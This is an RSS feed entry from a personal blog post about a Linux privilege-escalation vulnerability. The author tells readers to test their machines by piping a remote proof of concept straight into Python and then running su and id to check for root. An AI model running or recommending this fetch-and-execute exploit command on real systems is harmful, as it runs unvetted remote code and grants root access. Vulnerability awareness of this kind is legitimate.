<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on luvandre</title><link>https://luvandre.com/tags/linux/</link><description>Recent content in Linux on luvandre</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 04 May 2026 21:24:41 +0000</lastBuildDate><atom:link href="https://luvandre.com/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>My Laptop Got Pwn'd</title><link>https://luvandre.com/notes/laptop/</link><pubDate>Mon, 04 May 2026 21:24:41 +0000</pubDate><guid>https://luvandre.com/notes/laptop/</guid><description>&lt;p>&lt;a href="https://www.youtube.com/watch?v=lkifbWtxxlk">
732 bytes of Python just borked every Linux machine on earth…&lt;/a>&lt;/p>
&lt;p>I ingest alot of news and articles each day but this video from
Fireship just seemed like another nothing burger.. well I was wrong.&lt;/p>
&lt;p>I won&amp;rsquo;t go into detail on the vulnerability but you can verify if
your Linux based systems are vulnerable by running this PoC and
reviwing the associated article for more context. &lt;a href="https://copy.fail/">CopyFail&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl https://copy.fail/exp | python3 &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> su
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&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ id
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